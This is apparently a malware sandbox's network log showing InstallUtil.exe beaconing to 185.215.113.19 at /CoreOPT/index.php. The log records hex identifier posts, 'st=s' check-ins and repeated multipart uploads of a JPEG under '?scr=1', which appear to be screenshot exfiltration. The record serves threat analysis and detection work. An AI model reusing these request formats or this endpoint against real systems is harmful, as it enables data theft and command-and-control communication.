Oct 16, 2024 19:23:47.186707973 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:47.190608978 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:47.605873108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.9	49798	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:47.722803116 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:48.757378101 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:48.758300066 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:49.172400951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.9	49799	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:47.926995039 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:47.927053928 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:47.927053928 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:47.927124977 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:47.927124977 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:47.927166939 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:47.927166939 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:47.927206993 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:47.927206993 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:47.927225113 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:47.927225113 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:49.619113922 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.9	49800	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:49.287872076 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.9	49801	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:49.945699930 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:49.945776939 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:49.945818901 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:49.945832968 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:49.945851088 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:49.945859909 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:49.945878983 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:49.945892096 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:49.945909023 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:49.945919991 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:49.945931911 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:51.689663887 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.9	49802	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:50.192142010 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:51.230844975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.9	49803	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:51.350567102 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:52.374691010 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.9	49804	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:51.865452051 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:51.865452051 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:51.865452051 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:51.865452051 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:51.865500927 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:51.865502119 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:51.865502119 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:51.865502119 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:51.865502119 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:51.865561008 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:51.865561008 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:53.459592104 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.9	49805	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:52.512820959 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:53.494260073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.9	49806	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:53.612814903 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:54.650399923 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:54.654078007 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:55.073664904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.9	49807	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:53.631804943 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:53.631804943 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:53.631804943 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:53.631804943 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:53.631804943 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:53.631804943 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:53.631804943 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:53.631876945 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:53.631877899 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:53.631877899 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:53.631877899 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:55.264818907 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	49808	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:55.222141981 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
